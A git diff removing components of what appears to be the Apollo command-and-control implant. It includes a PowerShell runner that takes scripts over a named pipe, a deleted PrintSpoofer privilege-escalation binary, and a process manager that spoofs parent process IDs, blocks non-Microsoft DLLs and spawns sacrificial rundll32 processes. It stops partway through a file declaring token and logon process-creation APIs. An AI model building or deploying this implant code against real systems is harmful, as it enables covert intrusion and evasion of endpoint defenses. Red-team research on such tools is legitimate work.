b/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptography.csproj deleted file mode 100644 index 0dfab48e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptography.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptographyProvider.cs b/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptographyProvider.cs deleted file mode 100644 index 763042a4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/PlaintextCryptographyProvider.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; - -namespace PlaintextCryptography -{ - public class PlaintextCryptographyProvider : CryptographyProvider, ICryptography - { - public PlaintextCryptographyProvider(string uuid, string key) : base(uuid, key) - { - - } - - - public override bool UpdateKey(string key) - { - throw new Exception("Operation is not supported by PlaintextCryptographyProvider."); - } - - public override string Encrypt(string plaintext) - { - return string.Format("{0}{1}", UUID, plaintext); - } - - public override string Decrypt(string enc) - { - if (!enc.StartsWith(base.GetUUID())) - throw new Exception("Invalid message received from server."); - return enc.Substring(UUID.Length); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/Properties/AssemblyInfo.cs deleted file mode 100644 index abd21553..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("PlaintextCryptography")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("PlaintextCryptography")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("ed320ce0-c28f-4b07-a353-9b14c261e8a3")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/packages.config b/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PlaintextCrypto/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/CustomPowerShellHost.cs b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/CustomPowerShellHost.cs deleted file mode 100644 index a99cd820..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/CustomPowerShellHost.cs +++ /dev/null @@ -1,284 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Management.Automation; -using System.Management.Automation.Host; -using System.Threading; - -namespace PowerShellHost -{ - class CustomPowerShellHost : PSHost - { - private Guid _hostId = Guid.NewGuid(); - private CustomPSHostUserInterface _ui = new CustomPSHostUserInterface(); - - public override Guid InstanceId - { - get { return _hostId; } - } - - public override string Name - { - get { return "ConsoleHost"; } - } - - public override Version Version - { - get { return new Version(1, 0); } - } - - public override PSHostUserInterface UI - { - get { return _ui; } - } - - - public override CultureInfo CurrentCulture - { - get { return Thread.CurrentThread.CurrentCulture; } - } - - public override CultureInfo CurrentUICulture - { - get { return Thread.CurrentThread.CurrentUICulture; } - } - - public override void EnterNestedPrompt() - { - throw new NotImplementedException("EnterNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void ExitNestedPrompt() - { - throw new NotImplementedException("ExitNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void NotifyBeginApplication() - { - return; - } - - public override void NotifyEndApplication() - { - return; - } - - public override void SetShouldExit(int exitCode) - { - return; - } - } - - class CustomPSHostUserInterface : PSHostUserInterface - { - // Replace StringBuilder with whatever your preferred output method is (e.g. a socket or a named pipe) - private CustomPSRHostRawUserInterface _rawUi = new CustomPSRHostRawUserInterface(); - - public CustomPSHostUserInterface() - { - - } - - public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) - { - Console.Write(value); - } - - public override void WriteLine() - { - Console.WriteLine(); - } - - public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) - { - Console.WriteLine(value); - } - - public override void Write(string value) - { - Console.Write(value); - } - - public override void WriteDebugLine(string message) - { - Console.WriteLine("DEBUG: " + message); - } - - public override void WriteErrorLine(string value) - { - Console.WriteLine("ERROR: " + value); - } - - public override void WriteLine(string value) - { - Console.WriteLine(value); - } - - public override void WriteVerboseLine(string message) - { - Console.WriteLine("VERBOSE: " + message); - } - - public override void WriteWarningLine(string message) - { - Console.WriteLine("WARNING: " + message); - } - - public override void WriteProgress(long sourceId, ProgressRecord record) - { - return; - } - - public override Dictionary Prompt(string caption, string message, System.Collections.ObjectModel.Collection descriptions) - { - throw new NotImplementedException("Prompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection choices, int defaultChoice) - { - throw new NotImplementedException("PromptForChoice is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) - { - throw new NotImplementedException("PromptForCredential1 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName) - { - throw new NotImplementedException("PromptForCredential2 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override PSHostRawUserInterface RawUI - { - get { return _rawUi; } - } - - public override string ReadLine() - { - throw new NotImplementedException("ReadLine is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override System.Security.SecureString ReadLineAsSecureString() - { - throw new NotImplementedException("ReadLineAsSecureString is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - } - - - class CustomPSRHostRawUserInterface : PSHostRawUserInterface - { - // Warning: Setting _outputWindowSize too high will cause OutOfMemory execeptions. I assume this will happen with other properties as well - private Size _windowSize = new Size { Width = 120, Height = 100 }; - - private Coordinates _cursorPosition = new Coordinates { X = 0, Y = 0 }; - - private int _cursorSize = 1; - private ConsoleColor _foregroundColor = ConsoleColor.White; - private ConsoleColor _backgroundColor = ConsoleColor.Black; - - private Size _maxPhysicalWindowSize = new Size - { - Width = int.MaxValue, - Height = int.MaxValue - }; - - private Size _maxWindowSize = new Size { Width = 100, Height = 100 }; - private Size _bufferSize = new Size { Width = 100, Height = 1000 }; - private Coordinates _windowPosition = new Coordinates { X = 0, Y = 0 }; - private String _windowTitle = ""; - - public override ConsoleColor BackgroundColor - { - get { return _backgroundColor; } - set { _backgroundColor = value; } - } - - public override Size BufferSize - { - get { return _bufferSize; } - set { _bufferSize = value; } - } - - public override Coordinates CursorPosition - { - get { return _cursorPosition; } - set { _cursorPosition = value; } - } - - public override int CursorSize - { - get { return _cursorSize; } - set { _cursorSize = value; } - } - - public override void FlushInputBuffer() - { - throw new NotImplementedException("FlushInputBuffer is not implemented."); - } - - public override ConsoleColor ForegroundColor - { - get { return _foregroundColor; } - set { _foregroundColor = value; } - } - - public override BufferCell[,] GetBufferContents(Rectangle rectangle) - { - throw new NotImplementedException("GetBufferContents is not implemented."); - } - - public override bool KeyAvailable - { - get { throw new NotImplementedException("KeyAvailable is not implemented."); } - } - - public override Size MaxPhysicalWindowSize - { - get { return _maxPhysicalWindowSize; } - } - - public override Size MaxWindowSize - { - get { return _maxWindowSize; } - } - - public override KeyInfo ReadKey(ReadKeyOptions options) - { - throw new NotImplementedException("ReadKey is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); - } - - public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) - { - throw new NotImplementedException("ScrollBufferContents is not implemented"); - } - - public override void SetBufferContents(Rectangle rectangle, BufferCell fill) - { - throw new NotImplementedException("SetBufferContents is not implemented."); - } - - public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) - { - throw new NotImplementedException("SetBufferContents is not implemented"); - } - - public override Coordinates WindowPosition - { - get { return _windowPosition; } - set { _windowPosition = value; } - } - - public override Size WindowSize - { - get { return _windowSize; } - set { _windowSize = value; } - } - - public override string WindowTitle - { - get { return _windowTitle; } - set { _windowTitle = value; } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xml b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xml deleted file mode 100644 index 286d191a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xsd b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xsd deleted file mode 100644 index 05e92c11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/FodyWeavers.xsd +++ /dev/null @@ -1,141 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Controls if runtime assemblies are also embedded. - - - - - Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/PowerShellHost.csproj b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/PowerShellHost.csproj deleted file mode 100644 index 7e271faa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/PowerShellHost.csproj +++ /dev/null @@ -1,24 +0,0 @@ - - - net451 - Exe - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - - - - ..\packages\System.Management.Automation6.1.7\System.Management.Automation.dll - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs deleted file mode 100644 index e8d80364..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Program.cs +++ /dev/null @@ -1,197 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Classes.IO; -using System.Management.Automation.Runspaces; -using ApolloInterop.Serializers; -using System.Collections.Concurrent; -using ApolloInterop.Classes; -using System.Threading; -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Interfaces; -using ST = System.Threading.Tasks; -using ApolloInterop.Enums.ApolloEnums; -using System.IO; -using System.IO.Pipes; -using ApolloInterop.Constants; -using ApolloInterop.Classes.Events; - -namespace PowerShellHost -{ - class Program - { - - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private static string _namedPipeName; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AsyncNamedPipeServer _server; - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private static CancellationTokenSource _cts = new CancellationTokenSource(); - private static Action _sendAction; - private static ST.Task _clientConnectedTask = null; - - static void Main(string[] args) - { - - if (args.Length != 1) - { - throw new Exception("No named pipe name given."); - } - _namedPipeName = args[0]; - - _sendAction = (object p) => - { - PipeStream pipe = (PipeStream)p; - - while (pipe.IsConnected && !_cts.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] { - _senderEvent, - _cts.Token.WaitHandle - }); - while (_senderQueue.TryDequeue(out byte[] message)) - { - pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); - } - } - while (_senderQueue.TryDequeue(out byte[] message)) - { - pipe.BeginWrite(message, 0, message.Length, OnAsyncMessageSent, pipe); - } - pipe.WaitForPipeDrain(); - pipe.Close(); - }; - _server = new AsyncNamedPipeServer(_namedPipeName, null, 1, IPC.SEND_SIZE, IPC.RECV_SIZE); - _server.ConnectionEstablished += OnAsyncConnect; - _server.MessageReceived += OnAsyncMessageReceived; - _receiverEvent.WaitOne(); - if (_recieverQueue.TryDequeue(out IMythicMessage psArgs)) - { - if (psArgs.GetTypeCode() != MessageType.IPCCommandArguments) - { - throw new Exception($"Got invalid message type. Wanted {MessageType.IPCCommandArguments}, got {psArgs.GetTypeCode()}"); - } - TextWriter oldStdout = Console.Out; - TextWriter oldStderr = Console.Error; - - EventableStringWriter stdoutSw = new EventableStringWriter(); - EventableStringWriter stderrSw = new EventableStringWriter(); - - stdoutSw.BufferWritten += OnBufferWrite; - stderrSw.BufferWritten += OnBufferWrite; - - Console.SetOut(stdoutSw); - Console.SetError(stderrSw); - CustomPowerShellHost psHost = new CustomPowerShellHost(); - var state = InitialSessionState.CreateDefault(); - state.AuthorizationManager = null; - try - { - using (Runspace runspace = RunspaceFactory.CreateRunspace(psHost, state)) - { - runspace.Open(); - - using (Pipeline pipeline = runspace.CreatePipeline()) - { - pipeline.Commands.AddScript(((IPCCommandArguments)psArgs).StringData); - pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); - pipeline.Commands.Add("Out-Default"); - pipeline.Invoke(); - } - } - } catch (Exception ex) - { - Console.WriteLine($"[PowerShellHost Error] : Unhandled exception: {ex.Message}"); - } finally - { - while(_senderQueue.Count > 0) - { - Thread.Sleep(1000); - } - Console.SetOut(oldStdout); - Console.SetOut(oldStderr); - } - _cts.Cancel(); - // Wait for the pipe client comms to finish - while (_clientConnectedTask is ST.Task task && !_clientConnectedTask.IsCompleted) - { - task.Wait(1000); - } - } - - - } - - private static void OnBufferWrite(object sender, ApolloInterop.Classes.Events.StringDataEventArgs e) - { - if (e.Data != null) - { - try - { - _senderQueue.Enqueue(Encoding.UTF8.GetBytes(e.Data)); - _senderEvent.Set(); - } - catch - { - - } - - } - } - - private static void OnAsyncMessageSent(IAsyncResult result) - { - PipeStream pipe = (PipeStream)result.AsyncState; - pipe.EndWrite(result); - pipe.Flush(); - } - - private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args) - { - IPCChunkedData chunkedData = _jsonSerializer.Deserialize( - Encoding.UTF8.GetString(args.Data.Data.Take(args.Data.DataLength).ToArray())); - lock (MessageStore) - { - if (!MessageStore.ContainsKey(chunkedData.ID)) - { - MessageStore[chunkedData.ID] = new ChunkedMessageStore(); - MessageStore[chunkedData.ID].MessageComplete += DeserializeToReceiverQueue; - } - } - MessageStore[chunkedData.ID].AddMessage(chunkedData); - } - - private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs args) - { - MessageType mt = args.Chunks[0].Message; - List data = new List(); - - for (int i = 0; i < args.Chunks.Length; i++) - { - data.AddRange(Convert.FromBase64String(args.Chunks[i].Data)); - } - - IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt); - //Console.WriteLine("We got a message: {0}", mt.ToString()); - _recieverQueue.Enqueue(msg); - _receiverEvent.Set(); - } - - public static void OnAsyncConnect(object sender, NamedPipeMessageArgs args) - { - // We only accept one connection at a time, sorry. - if (_clientConnectedTask != null) - { - args.Pipe.Close(); - return; - } - _clientConnectedTask = new ST.Task(_sendAction, args.Pipe); - _clientConnectedTask.Start(); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Properties/AssemblyInfo.cs deleted file mode 100644 index 792849a5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("PowerShellHost")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("PowerShellHost")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("1d897a8a-1394-4561-b31c-d8312462500c")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/packages.config b/Payload_Type/apollo/apollo/agent_code/PowerShellHost/packages.config deleted file mode 100644 index de7934ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/PowerShellHost/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/PrintSpoofer_x64.exe b/Payload_Type/apollo/apollo/agent_code/PrintSpoofer_x64.exe deleted file mode 100644 index b33fcf75..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/PrintSpoofer_x64.exe and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/Process/Process.csproj b/Payload_Type/apollo/apollo/agent_code/Process/Process.csproj deleted file mode 100644 index 0dfab48e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Process/Process.csproj +++ /dev/null @@ -1,18 +0,0 @@ - - - net451 - Library - 12 - enable - false - AnyCPU;x64;x86 - - - - - - - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Process/ProcessManager.cs b/Payload_Type/apollo/apollo/agent_code/Process/ProcessManager.cs deleted file mode 100644 index a761def6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Process/ProcessManager.cs +++ /dev/null @@ -1,81 +0,0 @@ -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; - -namespace Process -{ - public class ProcessManager : IProcessManager - { - private bool _blockDlls = false; - private int _ppid = System.Diagnostics.Process.GetCurrentProcess().Id; - private string _applicationx64 = @"C:\Windows\System32\rundll32.exe"; - private string _applicationx86 = @"C:\Windows\SysWOW64\rundll32.exe"; - private string _argumentsx64 = null; - private string _argumentsx86 = null; - - private IAgent _agent; - - public ProcessManager(IAgent agent) - { - _agent = agent; - } - - public bool BlockDLLs(bool status) - { - _blockDlls = status; - return true; - } - - public ApplicationStartupInfo GetStartupInfo(bool x64 = true) - { - ApplicationStartupInfo results = new ApplicationStartupInfo(); - results.Application = x64 ? _applicationx64 : _applicationx86; - results.Arguments = x64 ? _argumentsx64 : _argumentsx86; - results.ParentProcessId = _ppid; - results.BlockDLLs = _blockDlls; - return results; - } - - public ApolloInterop.Classes.Core.Process NewProcess(string lpApplication, string lpArguments, bool startSuspended = false) - { - return new SacrificialProcess( - _agent, - lpApplication, - lpArguments, - startSuspended); - } - - public bool SetPPID(int pid) - { - bool bRet = false; - try - { - var curProc = System.Diagnostics.Process.GetCurrentProcess(); - var proc = System.Diagnostics.Process.GetProcessById(pid); - if (proc.SessionId != curProc.SessionId) - bRet = false; - else - { - bRet = true; - _ppid = pid; - } - } - catch { } - return bRet; - } - - public bool SetSpawnTo(string lpApplication, string lpCommandLine = null, bool x64 = true) - { - if (x64) - { - _applicationx64 = lpApplication; - _argumentsx64 = lpCommandLine; - } - else - { - _applicationx86 = lpApplication; - _argumentsx86 = lpCommandLine; - } - return true; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Process/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/Process/Properties/AssemblyInfo.cs deleted file mode 100644 index ca52580f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Process/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("Process")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Process")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("6008a59e-80a4-4790-8fe3-01de201d71b3")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs deleted file mode 100644 index 536f632f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ /dev/null @@ -1,896 +0,0 @@ -//#define SERVER2012_COMPATIBLE - -using ApolloInterop.Classes.Api; -using ApolloInterop.Classes.Events; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Threading; -using System.Threading.Tasks; -using ApolloInterop.Features.WindowsTypesAndAPIs; -using ApolloInterop.Structs; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using static ApolloInterop.Enums.Win32; -using static ApolloInterop.Structs.Win32; -using AI = ApolloInterop.Classes.Core; - -namespace Process -{ - public class SacrificialProcess : AI.Process - { - private static bool SpawnedUnderNewLuid = false; - [Flags] - public enum LogonFlags - { - NONE = 0x00000000, - LOGON_WITH_PROFILE = 0x00000001, - LOGON_NETCREDENTIALS_ONLY = 0x00000002 - } - private const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; - private const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007; - private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; - - private IntPtr _hParentProc = IntPtr.Zero; - private Win32.ProcessInformation _processInfo = new Win32.ProcessInformation(); - private StartupInfo _startupInfo = new StartupInfo(); - private StartupInfoEx _startupInfoEx = new StartupInfoEx(); - private CreateProcessFlags _processFlags = CreateProcessFlags.CREATE_NEW_CONSOLE | CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT; - private SecurityAttributes _securityAttributes = new SecurityAttributes(); - private readonly AutoResetEvent _exited = new AutoResetEvent(false); - - private TextReader _standardOutput; - private TextReader _standardError; - private TextWriter _standardInput; - - private CancellationTokenSource _cts = new CancellationTokenSource(); - - private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true); - private SafeFileHandle hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true); - private IntPtr _unmanagedEnv; - - #region Delegate Typedefs - #region ADVAPI32 - private delegate bool LogonUser( - String lpszUserName, - String lpszDomain, - String lpszPassword, - LogonType dwLogonType, - LogonProvider dwLogonProvider, - out IntPtr phToken); - private delegate bool InitializeSecurityDescriptor(out SecurityDescriptor sd, uint dwRevision); - private delegate bool SetSecurityDescriptorDacl(ref SecurityDescriptor sd, bool daclPresent, IntPtr dacl, bool daclDefaulted); - private delegate bool CreateProcessAsUser - ( - IntPtr hToken, - String lpApplicationName, - String lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - Boolean bInheritHandles, - CreateProcessFlags dwCreationFlags, - IntPtr lpEnvironment, - String lpCurrentDirectory, - ref StartupInfoEx lpStartupInfo, - out Win32.ProcessInformation lpProcessInformation - ); - private delegate bool CreateProcessWithLogonW( - [MarshalAs(UnmanagedType.LPWStr)] String lpUsername, - [MarshalAs(UnmanagedType.LPWStr)] String lpDomain, - [MarshalAs(UnmanagedType.LPWStr)] String lpPassword, - LogonFlags dwLogonFlags, - [MarshalAs(UnmanagedType.LPWStr)] String lpApplicationName, - [MarshalAs(UnmanagedType.LPWStr)] String lpCommandLine, - CreateProcessFlags dwCreationFlags, - IntPtr lpEnvironment, - [MarshalAs(UnmanagedType.LPWStr)] String lpCurrentDirectory, - [In] ref StartupInfoEx lpStartupInfo, - out Win32.ProcessInformation lpProcessInformation); - private delegate bool CreateProcessWithTokenW( - IntPtr hToken, - LogonFlags dwLogonFlags, - [MarshalAs(UnmanagedType.LPWStr)] String lpApplicationName, - [MarshalAs(UnmanagedType.LPWStr)] String lpCommandLine, - CreateProcessFlags dwCreationFlags, - IntPtr lpEnvironment, - [MarshalAs(UnmanagedType.LPWStr)] String lpCurrentDirectory, - [In] ref StartupInfoEx lpStartupInfo, - out Win32.ProcessInformation lpProcessInformation); - #endregion - #region KERNEL32 -#if SERVER2012_COMPATIBLE - private delegate IntPtr GetModuleHandleA( - [MarshalAs(UnmanagedType.LPStr)]string lpModuleName); - - private delegate IntPtr GetProcAddress( - IntPtr hModule, - [MarshalAs(UnmanagedType.LPStr)] string lpProcName); -#endif - private delegate bool CreatePipe(out SafeFileHandle phReadPipe, out SafeFileHandle phWritePipe, SecurityAttributes lpPipeAttributes, uint nSize); - private delegate bool SetHandleInformation(SafeFileHandle hObject, int dwMask, uint dwFlags); - private delegate IntPtr OpenProcess( - ProcessAccessFlags dwDesiredAccess, - bool bInheritHandle, - int dwProcessId); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - [return: MarshalAs(UnmanagedType.Bool)] - private delegate bool InitializeProcThreadAttributeList( - [In] IntPtr lpAttributeList, - [In] int dwAttributeCount, - [In] int dwFlags, - [In][Out] ref IntPtr lpSize); - private delegate bool UpdateProcThreadAttribute( - IntPtr lpAttributeList, - uint dwFlags, - IntPtr Attribute, - IntPtr lpValue, - IntPtr cbSize, - IntPtr lpPreviousValue, - IntPtr lpReturnSize); - private delegate bool DeleteProcThreadAttributeList( - IntPtr lpAttributeList - ); - private delegate bool DuplicateHandle( - IntPtr hSourceProcessHandle, - SafeFileHandle hSourceHandle, - IntPtr hTargetProcessHandle, - ref SafeFileHandle lpTargetHandle, - uint dwDesiredAccess, - bool bInheritHandle, - DuplicateOptions dwOptions - ); - private delegate bool CreateProcessA( - string lpApplicationName, - string lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - bool bInheritHandles, - CreateProcessFlags dwCreationFlags, - IntPtr lpEnvironment, - string 